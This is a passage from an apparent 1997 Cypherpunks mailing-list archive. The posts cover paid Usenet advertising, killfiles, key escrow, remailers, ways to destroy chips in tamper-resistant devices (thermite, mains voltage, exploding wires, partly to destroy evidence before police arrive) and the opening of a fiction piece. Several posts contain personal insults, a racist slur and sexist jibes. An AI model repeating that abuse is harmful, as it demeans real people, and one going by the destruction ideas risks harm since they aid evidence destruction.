an e-mail with a secret code that allows you to FTP a single x-rated
picture from Alice's Web site.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 9 Apr 1997 08:17:19 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Anti-Spambot: what algorithm should be used?
In-Reply-To: <199704090509.AAA08271@manifold.algebra.com>
Message-ID: <q9aw5D5w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


> > Yes, Bob could post something like "drink kaka cola and die" and
> > "elect John M Gubor Sheriff if you want to be arrested".
> > Hopefully, most Bob's won't.
> 
> That's questionable at best. Also, there can be so much ingenuity in
> making the ads appear unreadable, that it would be hard to watch who
> is good and who is bad.

Good - let them exercise their ingenuity rather than forge cancels and
pull plugs.

> For example, how about this signature that purports to advertise
> http://www.kaka-kola.com:
> 
> ^L^L^L
> -----------------------------------------------------------------------
> = please ignore contents of this sig -- skdjhgf asdgf -- == <blink>
> <color=#000000> = http://www.devnull.com http://acd http://www.www.www
> http://www.kaka-kola.com http://xxx == </color></blink> == this sig
> intentionally made unreadable to cheat alice ==
> -----------------------------------------------------------------------

OK, I see several approaches:

1. For some kinds of advertizing messages, like 900 numbers, even the kind
of exposure you describe is good exposure.

2. Alice's bot can state that it won't pay for articles that contain certain
kinds of "taboo" regexps - "fuck", "shit", "piss", "cunt", "spam", "Alice...".

3. When is the contract created, if at all? Alice can just review the traffic
by hand, as a human, and decide on her whim that she won't be paying this
particular Bob anymore.

> > Yes, if Alice just posts her regexps on a public Web page, a clueful
> > person can automatically fetch them and add them to his killfile or
> > even forge cancels for Bobs' articles that contain them.
> 
> > I think this would be a stupid thing to do because Bobs' articles
> > may contain useful information besides Alice's ad. Also the regexp
> > might occur in a followup to Bob's article, which may contain
> > useful information.
> 
> Well, one can modify newsreaders to delete only lines that match
> the regexps, but show other parts of the article. That may be one
> of the pieces of functionailty of libkillfile.so that I once mentioned.

Wonderful - go ahead and do it.  Anyone clueful enough to build a killfile
may not be worth advertisingto anyway.

Remember how Sandy Sandfart used to preach how he has the abllity to filter
out my traffic, but he wants to silence me in the interest of those who don't
have this capability?

Same thing with killfiles.
> 
> > On the second thought, Alice may not need a prior contract with Bob,
> > nor the ID#. She can just list the regexps she's trying to promote
> > on her web page and go promiscuously by the address in the From: header.
> > 
...
>  
> > What Alice could do is send an e-mail like
> >  "Your article with message-id blah posted to blah contains
> >   a message that I'm paying to promote. Here is a cookie;
> >   if you return this cookie, I'll send you $n e-cash."
> > If it bounces, or if the recipient never sends back the cookie - too bad.
> 
> If it bounces, Alice would usually get the money back in the bounce message.
> 
> Can't alice put a stop on a piece of digital cash? I am not sure, but it
> may be possible. It is surely possible with adding one more trusted party,
> and some more signing and encryption, anyway.

The address could be a black hole type of thing.

But, on the third thought :-), I don't like the idea of sending unsolicited
e-mail in response to Usenet articles, even if the e-mail contains e-cash.

How about this for a protocol:

Alice puts up the Web site listing the regexps she wants promoted.

Bob tells Alice (via a web form, say):

I will be posting as bob@foo.nospam.bar and bob@delete.me.foo.bar;
please e-mail my fee to bob@fo.bar; your decisions are final.

Alice e-mails bob@foo.bar, saying:
please post cookie1 to misc.test (or whatever) as bob@foo.nospam.bar;
please post cookie2 to misc.test as bob@delete.me.foo.bar
(to show that Bob does post from these accounts and does read e-mail
at bob@foo.bar).

Once Alice's bot sees the cookies, it starts generating fee e-mails.
Moreover if Alice sees Bob making fun of her, the way you described, she
can stop paying him forever.

> > > Alice's contract can also specify that if a third party forges a cancel
> > > within a week for Bob's Usenet article containing the regexp, then Alice
> > > will pay nothing and let Bob sue the forger for the lost income. (This
> > > may become moot as more and more ISPs ignore forged cancels.) This gives
> > > Bob the insentive to spam intelligently - not to trigger any cancelbots
> > > and not to have his plug pulled by his ISP.
> > 
> > After Alice's bot finds an eligible Usenet article, it should wait
> > a week or so to see if it was cancelled or superseded before issuing a
> > payment. If it's cancelled, then instead of payment it should send
> > a notice saying:
> >  "Your article with message-id blah posted to blah contains
> >   a message that I'm paying to promote. I would have paid
> >   you $n e-cash, but unfortunately a cancel has been issued
> >   for your article: <quote cancel>"
> > That should get Bob pretty mad at the 3rd party canceller. :-)
> 
> Alice can then cheat and issue the cancels herself. Since most spammers
> are crooks, I expect that to happen a lot. No good.

There would hopefully be more than one Alice competing for the posting agents.
If she acts unethically (fails to come through with the payment), she will
lose reputation capital.

I mean, Alice can just put up a web page claiming that she'll pay for
promoting her regexps, and then not send anybody any ecash, cancels or
no cancels. Who's going to sue her for breach of contract and where?

Spammers are less crooks than Sandy Sandfart and Cocksucker John Gilmore,
or th scumbags who forge cancels.

> > > Alice can also put some reasonable caps on the number of repetitions
> > > because if Bob posts the same regexp 10,000 times, the marginal exposure
> > > is less from Bob than from a newbie Carol. Again, if there are several
> > > such Alices, the market will take care of negotiating such details.
> > 
> > Alice needs to maintain a map of (poster,newsgroup,regexp) to # posts;
> > when it reaches 100, stop paying this poster. I think 100 mentions by
> > the same poster is way past saturation.
> 
> I can generate a gazillion posters from algebra.com.
> 
> Of course, Alice can also introduce per-domain restrictions.

I can generate a bazillion posters from dm.com, but this is rare.

I can also get a dozen AOL screen names from a single AOL account.

It's OK because the reasons for this cap are pure marketing:
(not trying to cap Alice's expense). For the target audience,
seeing the same 900 number >100 times from the same address loses
the marginal effectiveness.  If you post the same 900 number 100
times from ichudov@algebra.com and then 100 times from arabinovich@algera.com
it'll be as effective as if it came from irabinovich@analysis.com.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sebastia Lancho <tan@mss.es>
Date: Wed, 9 Apr 1997 01:27:38 -0700 (PDT)
To: cypherpunks@toad.com
Subject: new ,CRIPT password
Message-ID: <3.0.1.32.19970409102810.00693c70@194.224.252.15>
MIME-Version: 1.0
Content-Type: text/plain


Hi !
I'm Sebastian from Barcelona.
I'm new on internet. I'm a developer.In my first project I did a
homebanking but I don't know how cript the password of the users.
If somebody has a little C function that can do this please send me!
and report me information!
many thanks
Sebastian
tan@mss.es





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 9 Apr 1997 10:51:20 -0700 (PDT)
To: freedom-knights@jetcafe.org
Subject: Killfiles (was: spambots)
In-Reply-To: <334B36BD.7677@sk.sympatico.ca>
Message-ID: <aigw5D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto <toto@sk.sympatico.ca> writes:

> Dr.Dimitri Vulis KOTM wrote:
> > 
> > Killfiles? So many scumbags whine about their inability to use them,
> > so they try to silence whomever they don't like.
> 
>   Or they have them and still try to silence those whom they
> don't like.

Sure - remember how Sandy Sandfart, the marketing guy from C2Net, claimed
that he's already filtering out me e-mail on this list, but wanted me
silenced to protect the "newbies" who haven't yet filtered me out?

> > Yes, if Alice just posts her regexps on a public Web page, a clueful
> > person can automatically fetch them and add them to his killfile or
> > even forge cancels for Bobs' articles that contain them.
> > 
> > I think this would be a stupid thing to do because Bobs' articles
> > may contain useful information besides Alice's ad. Also the regexp
> > might occur in a followup to Bob's article, which may contain
> > useful information.
> 
>   Some CypherPunks regularly brag about the size of their
> killfiles.

The anonymous coward known as "Lucky Green" likes to publicly *PLONK*
anyone he disagrees with.  This is supposed to represent the sound the
address makes as it hits the killfile.  of course once Lucky Green
*PLONKS* someone, he becomes obsessed with that person - stalks them
around and follows up on anything they say with his Cabal drivel.

>   To me, this is not a far cry from bragging about not reading
> anything written by niggers, "Cause they ain't not got nothing
> to say less'n they say they is goin' back to Africa."

Well - they're welcome to killfile whatever they don't like. No one's
forcing them to read the traffic they don't want. Problem is, net.scum
like Cocksucker John Gilmore and Timmy May want to prevent others from
having access to the information the net.scum wants to suppress.

In a recent incident, a teenage Cabal stooge has published a defamatory
web page known as "Global Killfile" and advertised it heavily on usenet.
As the result, the wife of one of the people mentioned in the "Global
Killfile" just had her plug pulled by her ISP who cited this as the only
reason for their action.  I think they have a very good civil case -
better than C2Net's barratrous threats.

> > But of course a reader is welcome to cut off his own nose to spite
> > and face and to killfile anything he likes - as long as he doesn't
> > prevent others from reading what they feel like reading.
> 
>   During the censorship experiment on the list, many of the
> list members showed their flat-foreheaded tendencies by calling
> for the censoring of anyone who deviated from the norm.

Definitely - and I remember everyone who supported Cocksucker John Gilmore.

On a related topic, consider the make.money.fast spam.  Anyone with half a
clue can killfile it both in Usenet and in e-mail, since it contains essentially
the same key words. But a number of people feel obliged to forge cancels for
MMF posted to Usenet because it's supposed to be a pyramid scheme that's
supposed to be illegal in *some* jusrisdictions. Following the same logic,
the government of Singapore can forge cancels for any Usenet articles
critical of their Hitler-like leader because such criticism is illegal
in Singapore.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 9 Apr 1997 15:31:12 -0700 (PDT)
To: Kent Crispin <kent@songbird.com>
Subject: [Key Markets] Re: "...markets are fundamentally chaotic, not efficient"?
In-Reply-To: <v0302092eaf6ea75718f6@[139.167.130.246]>
Message-ID: <3.0.1.32.19970409120317.005e53f8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Crispin and Hettinga discussing efficient markets for key bailment:

>> In a geodesic network, a single node can not possibly process all
>> the information in the network. It chokes, and the network routes 
>> around it. 
>> You can bet that any key escrow agent would be innundated with
>> surveillance requests 

We're not talking about a lot of bits, here.
If you take care of the hard problem, which is getting people to hand 
their keys over to easily located key baliffs for no good business reason,
the amount of retrieval work is really a lot smaller than the 
work of wiretapping all the communications and selecting targets.
If the government expects to get the key owners to pay for bailment,
and get retrievals for free in return for paper copies of warrants
blue-ink-signed by judges, in triplicate, with hand-pressed notary seals,
yes, that'd be a bottleneck.  On the other hand, if the key bailiffs
accept electronic requests, digitally signed by the judge's key,
with electronic payment attached (whether DigiCash or EscrowBucks),
the costs of the key bailment service are quite low and the profit on
each request makes it worthwhile to expand the business to meet 
rapidly-increasing demand - cheap enough to the government to make it
worth wiretapping more encrypted transactions.   
Since the Secretary gets to approve Key Recovery Agent Parties,
he can disavow all knowledge of agents who insist on a real signature
and want to be sure the request was signed by a real judge rather than
by some clerk or cop using the Escrowed copy of the judge's key.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 9 Apr 1997 15:30:33 -0700 (PDT)
To: Kent Crispin <kent@songbird.com>
Subject: Re: "...markets are fundamentally chaotic, not efficient"? Really?
In-Reply-To: <v0302092eaf6ea75718f6@[139.167.130.246]>
Message-ID: <3.0.1.32.19970409120348.005e53f8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Kent and Bob have been huffing and puffing and blowing each others's
straw men down for a few stochastically-determined rounds....

>Sorry.  It's Edgar Peters, "Chaos and Order in the Capital Markets", 
>John Wiley, 1991.  I'm sure you will rush out and buy a copy :-)
>
>> > Chaotic is not the same as stochastic.
...
>Clearly, you don't know what you are talking about.  Strictly 
>speaking, chaotic behavior (as mathematically defined in chaos theory)
>is completely *deterministic*, not random.  

By that definition, markets, whether for capital or assassins, 
are distinctly _not_ chaotic*, since most people's decisions
	[* Unless Life, The Universe, and Everything are really
	deterministic, but fate has decreed that I don't believe that...]
about what stocks to buy/sell, and particularly the timing,
are influenced by lots of random events - when they hear what information,
whether they were busy doing something else when they heard, 
whether they'd just blown their disposable income on a new car
because that freak windstorm dropped a tree on their car the same
week the Post Office ate their car insurance payment, 
whether Alan Greenspan had a bad pizza the night before the quarterly 
interest rates came out or too much caffeine before his latest speech....
Much of the market is driven by the large institutional trading houses,
and increasingly by their computer models, but a lot of it's random,
and those functions that are chaotic are driven by random inputs.

To the extent that the interactions are chaotic rather than linear,
it is hard to develop good models of what the market might do and 
squeeze a few more bits of predictive information out of the vast 
quantity of observable random data; even with good computer models
and Nuclear Physics PhDs on Wall Street there'll probably always be
enough inefficiency left in the market for people to squeeze a few
more megabucks worth of arbitrage out of it.

[Of course, one of the most effective ways to make money in the market
has always been to provide high-priced (or low-priced high-volume)
investment advice to investors - and chaos theory has contributed
not only to the profitability of some investors but to the
buzzword-supply of hucksters in many fields, and selling buzzwords
can make a lot of short-term money...]


>> Most of the physicists hired by Wall Street were people who 
>> discovered market analogs to physical processes. 

The one physicist I knew well who went to Wall Street did it during
the stock market boom of 1987.  (Oops...)  He was fortunate to 
avoid getting caught in one of the major fallouts of the '87 stock crash,
which was the '87-'88 stock market job crash, though.

>> > Obviously I can't "prove" markets are not efficient -- 
>> > that's an empirical matter, not a mathematical matter.  

The standard way to prove that a market is inefficient is to
go tap some money out of it.  Doing so does eliminate that particular
inefficiency after a while, but there keep being enough people
employed on Wall Street to suggest that there's always inefficiency.
>> > "Whip me! Beat me! Savage me in Cypherpunks!"
I didn't come here for an argument....



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 9 Apr 1997 15:30:40 -0700 (PDT)
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: $20,000 the going rate?
In-Reply-To: <3349B4D0.7977@sk.sympatico.ca>
Message-ID: <3.0.1.32.19970409121544.005e53f8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


>>> "TWO ACCUSED OF MURDER-FOR-HIRE PLOT"
>>> Overheard phone call leads to arrests
>>  And the way this relates to Jim Bell is...
>No direct relation. :)

It's one of those "We've already established what you are,
and now we're just haggling about price" things.

	"I don't do 'work' -- but I have a friend who does."

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 9 Apr 1997 12:18:03 -0700 (PDT)
To: 00043.an@edtec.com
Subject: Re: which remailers are safe?
In-Reply-To: <199704091457.KAA09412@main.inetnow.net>
Message-ID: <334BDE51.1CD2@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


00043.an@edtec.com wrote:
> 
> does anyone know about edtec.com?
> The problem is, does anyone really know who their remailer is?
> Which ones are known absolutely to be run by safe operators,
> and which ones are thought or known to be trolls by Unsavory Characters?

 The edtec.com remailer is run by communist agents within the CIA
who share their informations with capitalist agents in Red China.
  I will phone you at your unlisted number later tonight, in order
to discuss this matter further.

-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Wed, 9 Apr 1997 09:30:53 -0700 (PDT)
To: <cypherpunks@toad.com>
Subject: Re: which remailers are safe?
In-Reply-To: <199704091457.KAA09412@main.inetnow.net>
Message-ID: <3.0.1.32.19970409123003.007c5480@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:01 AM 4/9/97 -0500, 00043.an@edtec.com wrote:
|For some reason my anonymized posts here are never arriving?
|So I try this service - does anyone know about edtec.com?
|The problem is, does anyone really know who their remailer is?
|Which ones are known absolutely to be run by safe operators,
|and which ones are thought or known to be trolls by Unsavory Characters?
|I am very interested to see if this post makes it to the list!

Dear 00043.an,

I have a sense of being here before!

'Twas a post such as this that called forth TruthMngler.

Spare us!

Alec




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@sonetis.com>
Date: Wed, 9 Apr 1997 09:36:26 -0700 (PDT)
To: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Subject: Re: Black box attacks (was Re: Crypto-Dongel)
In-Reply-To: <0nGlUs200YUd1==LY0@andrew.cmu.edu>
Message-ID: <Pine.BSD/.3.91.970409121937.266A-100000@mrburns.iosphere.net>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 9 Apr 1997, Jeremiah A Blatz wrote:
> Dave Emery <die@pig.die.com> writes:
> >         I have heard about thermite devices being used for this in 
> > the sort of applications that might warrent it.   Granted that this
> > is a royal fire hazard unless very carefully engineered, but at least
> > it is not an explosive per se....  
> 
> Thermite is probably overkill unless you're trying to dust something
> big like a hard drive. Just a bit of magnesium (which is often used as
> primer for thermite) should do the trick on a chip. I wonder if it's
> really essential to be so drastic, though? Would just getting the chip
> really hot be enough to wipe it? What about exposing it to a big arc?
> One might imagine a PCMCIA with a voltage doubling diode ladder and a
> small capacitor... would this be sufficient?

If you're trying to destroy a standard IC, why don't you just hook up the
power and ground pins to a 120V AC outlet?  No special equipment or
substances required, just a couple of wires.  Done it myself, and some
chips make a really neat popping sound as the top blows off :-)

Warning for the electronically challenged: don't use this method if you 
care about the rest of the board. 

Cynthia
===============================================================
		   Cynthia H. Brown, P.Eng.
E-mail:     cynthb@iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 9 Apr 1997 12:18:20 -0700 (PDT)
To: declan@well.com
Subject: Re: Reporters, Declan, Columns, Articles, and Angles
In-Reply-To: <Pine.GSO.3.95.970409105536.6823A-100000@cp.pathfinder.com>
Message-ID: <334BE3F4.7176@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh wrote:

> I've been on cypherpunks long before I got my press credentials. The
> topics genuinely interest me, and this is one of the few jobs where I can
> follow them full-time. If I wanted to make a decent living, I would have
> taken that job as a management consultant instead. (Some of us aren't
> independently wealthy, Tim.) Mercenary? Not quite. Journalists don't get
> paid a whole hell of a lot.

  And Declan's articles genuinely interest 'me'.
  Having done a variety of 'reports' ranging from business reports to
press reports, I recognize that they have to be written so as to be
readable to those with no deep-rooted background in the events or
issues being reported.
  While those who faithfully follow the CypherPunks list and the
issued discussed here may find his reports somewhat shallow, I try
to read them from the perspective of those who have an interest in
the issues but only limited knowledge concerning them. From this
perspective, Declan's reports do a good deal to enlighten the masses
in regard to whatever issue he addresses.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Wed, 9 Apr 1997 10:04:27 -0700 (PDT)
To: cypherpunks@algebra.com
Subject: Re: Black box attacks (was Re: Crypto-Dongel)
In-Reply-To: <Pine.BSD/.3.91.970409121937.266A-100000@mrburns.iosphere.net>
Message-ID: <0nGwjx200YUf04XiI0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

"Cynthia H. Brown" <cynthb@sonetis.com> writes:
> If you're trying to destroy a standard IC, why don't you just hook up the
> power and ground pins to a 120V AC outlet?  No special equipment or
> substances required, just a couple of wires.  Done it myself, and some
> chips make a really neat popping sound as the top blows off :-)

"Excuse me, Mr. Jack-booted Long Arm of The Law, do you mind putting
your gun away whilst I just plug this evid^H^H^H^HPC Card into the
wall? Thanks."

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQB1AwUBM0vL9ckz/YzIV3P5AQFs3gL9Gb2T14AbJCwadf1n35iqYcbkY6npZL+l
1oe6BjQGi7Gql8aWCazxGdDvAfo0Hxg1744odCSBuT4BgeLzYpblaI+hCSTk1mar
H7AqYjuC58RcJog/da/FJnLSQU3RjXtf
=uO3j
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Wed, 9 Apr 1997 13:10:11 -0700 (PDT)
To: shadow@count04.mry.scruznet.com
Subject: Re: on micro-explosions was Re: Black box attacks (was Re: Crypto-Dongel)
Message-ID: <3.0.32.19970409103942.006ee50c@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:46 PM 4/8/97 -0700, shadow@count04.mry.scruznet.com wrote:
>instead of minute quantities of explosives one could use extremely fine wires
>suspended a small distance from the substrate to be destroyed.
>Feed a short(below 3 ms) high current pulse(figure a 400w/s photoflash
supply)
>the wavefront from the exploding wire will be in the supersonic region.
>this method may be used in lieu of explosives to achieve the effect of
>a high order detonation. gee wonder if the
>atf will forbid us capacitors and wires now :)

Wavefronts are a possibility. The disadvantage of any capacitor based
system is that capacitors discharge over time. If the system gets
disconnected from the power supply, before long the device has to be
activated or lose its effectiveness. "Use it or lose it".

This may not be ideal for the particular application.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 9 Apr 1997 12:32:04 -0700 (PDT)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: Reactionaries
In-Reply-To: <334AAE5E.38F5@sk.sympatico.ca>
Message-ID: <334BEEBF.578D@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May wrote:

> Let's not make the Cypherpunks firing squad a circle.

  Although Tim has been on the rag lately, perhaps this bit
of humor is a sign that his period (pardon the pun) of male
menopause is over.

-----BEGIN PGP SIGNATURE-----
Version: Wouldn't you like to know?
Hey!Youstinkingcops!I'musingPGPsoyouguyscanjustgofuck
yourselfifyouthinkyou'regoingtoreadmyshit.
=uO3j
-----END PGP SIGNATURE-----
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Johnson <Michael.Johnson@mejl.com>
Date: Wed, 9 Apr 1997 04:39:30 -0700 (PDT)
To: freedom-knights@jetcafe.org
Subject: Re: Anti-Spambot: what algorithm should be used?
In-Reply-To: <199704082129.QAA03372@manifold.algebra.com>
Message-ID: <3.0.1.32.19970409133818.009f7360@localhost>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
>One problem is that a lot of people put fake addresses in the from:
>fields. Why waste good e-cash on e-mail to addresses that bounce?

That's the best kind for the payer, because ecash(tm) is not lost once you
send it. You can cancel the payment if it bounces or after a specified
amount of time. That's the double spending protection in ecash(tm), the
first person to deposit a specific coin gets the money.

Mike.

* Ecash is a registered trademark of Digicash BV





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Wed, 9 Apr 1997 13:45:29 -0700 (PDT)
To: "Cynthia H. Brown" <cynthb@sonetis.com>
Subject: Re: Black box attacks (was Re: Crypto-Dongel)
Message-ID: <3.0.32.19970409134223.007296b8@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:35 PM 4/9/97 -0400, Cynthia H. Brown wrote:
>If you're trying to destroy a standard IC, why don't you just hook up the
>power and ground pins to a 120V AC outlet? 

You are unlikely to have AC in a system by the time the tamper detector
senses an intrusion. Similar problems apply to arcs and anything based on
discharging a large capacitor.





-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@sonetis.com>
Date: Wed, 9 Apr 1997 11:20:38 -0700 (PDT)
To: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Subject: Re: Black box attacks (was Re: Crypto-Dongel)
In-Reply-To: <0nGwjx200YUf04XiI0@andrew.cmu.edu>
Message-ID: <Pine.BSD/.3.91.970409140125.266B-100000@mrburns.iosphere.net>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 9 Apr 1997, Jeremiah A Blatz wrote:

> "Cynthia H. Brown" <cynthb@sonetis.com> writes:
> > If you're trying to destroy a standard IC, why don't you just hook up the
> > power and ground pins to a 120V AC outlet?  No special equipment or
> > substances required, just a couple of wires.  Done it myself, and some
> > chips make a really neat popping sound as the top blows off :-)
> 
> "Excuse me, Mr. Jack-booted Long Arm of The Law, do you mind putting
> your gun away whilst I just plug this evid^H^H^H^HPC Card into the
> wall? Thanks."

If Mr. Jack-Boots And Friends are standing behind you, it's too late
anyways.  You certainly won't have time to dig out the thermite /
magnesium, place it on the appropriate chip, and ignite it.  If you're
going to the trouble of rigging up an emergency destructo-circuit, you
might as well make sure you have something that fries the chip / PCMCIA
card completely. 

Cynthia
===============================================================
		   Cynthia H. Brown, P.Eng.
E-mail:     cynthb@iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 9 Apr 1997 15:05:10 -0700 (PDT)
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Black box attacks (was Re: Crypto-Dongel)
In-Reply-To: <3.0.32.19970409134223.007296b8@netcom13.netcom.com>
Message-ID: <19970409150210.65475@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, Apr 09, 1997 at 01:45:19PM -0700, Lucky Green wrote:
> At 12:35 PM 4/9/97 -0400, Cynthia H. Brown wrote:
> >If you're trying to destroy a standard IC, why don't you just hook up the
> >power and ground pins to a 120V AC outlet? 
> 
> You are unlikely to have AC in a system by the time the tamper detector
> senses an intrusion. Similar problems apply to arcs and anything based on
> discharging a large capacitor.

I don't think power is the problem -- you could always include a 
small rechargable battery in the device, which would be plenty to fry 
an IC, given suitable support circuitry.  The real problem is the 
logic of the tamper detector itself.  How does it "detect 
tampering"?  You would want it to detect mechanical tampering, of 
course, but that's a non-trivial engineering proble.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Wed, 9 Apr 1997 13:13:25 -0700 (PDT)
To: cypherpunks@toad.com
Subject: WebWorld 29
Message-ID: <334BF813.7919@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the InterNet







The True Story of the InterNet

Part II


WebWorld & the Mythical 'Circle of Eunuchs'


by Arnold


Copyright 1995, 1996, 1997 Pearl Publishing


Bureau 42


Jonathan was 'surfing the Net'.

He had accessed a directory in the Cowboy's database which had
led him into a world that was over a century removed from his
current troubles, and he was like a kid in a candy shop, checking
out the wide range of insanity that had been available at that
point in history.
Revisionism, anti-Revisionism, alt.nudity.mormon, alt.usenet.cabal,
the 'Kook of the Month' website. Dr. Grubor, Dr. Vulis, Dr. Roberts,
and even Old Doc Parker, one of the Author's hidden personas.

Jonathan was cruising the Information Highway, the high point
of the InterNet, wherein everyone with a few dollars to plunk
down could have their own website and make their own particular
brand of insanity a Rest Area on the Highway to Hell.
The CypherPunks, Phreaks and Hackers were just bit players in
the insanity of the times. For all of the denigrating allusions
to them in the WebWorld scheme of reality, they were fairly normal
when compared to the millions of average Joe/Jane Doe lunatics
staking out their own rubber-room on the fringes of CyberSpace.


Jonathan eventually took a break from his 'surfing' and got down
to the serious business of turning his attention to a renewed
analysis of the life and times of the CypherPunks in the period
surrounding the attacks on the lists, the remailers, and the individual
CypherPunks.

Jonathan had turned up a Stego that had been part of the original
release of Part II of "The True Story of the InterNet"
on the CypherPunks distributed list that was created following
the failed (?) takeover of the list in early 1997 AD.

The Author's second manuscript had been cut short by his ignonimous
death in a scumbag motel room in southern Saskatchewan, but the
torch had been picked up by a variety of individuals who added
their own personal touches to its subsequent release.

One thing that piqued Jonathan's interest was the fact that the
Author's original title for the second manuscript had been "TV
World," and yet, the release to the CypherPunks list had
been titled "WebWorld and the Mythical Circle of Eunuchs."

Who was the mysterious entity who had released this version of
the manuscript at a time when WebWorld was not yet the living,
breathing entity that it had become in the decades since?
Jonathan's instincts led him to believe that the answer lay in
the innards of the mysterious Stego that comprised Chapter 25
of the release. He immediately set his sights to unlock this mystery.

Jonathan first sought out the source of the program that would
enable him to pry open the hidden secrets locked inside of the
Stego.
http://jengate.thur.de/ulf/stegano/
Steganography Tools 4 encrypts the data with IDEA, MPJ2 (up to
512bits key), DES,

3DES and NSEA in CBC, ECB, CFB, OFB and PCBC modes and hides it
inside graphics

(BMP files), digital audio (WAV files) or unused sectors of HD
floppies.

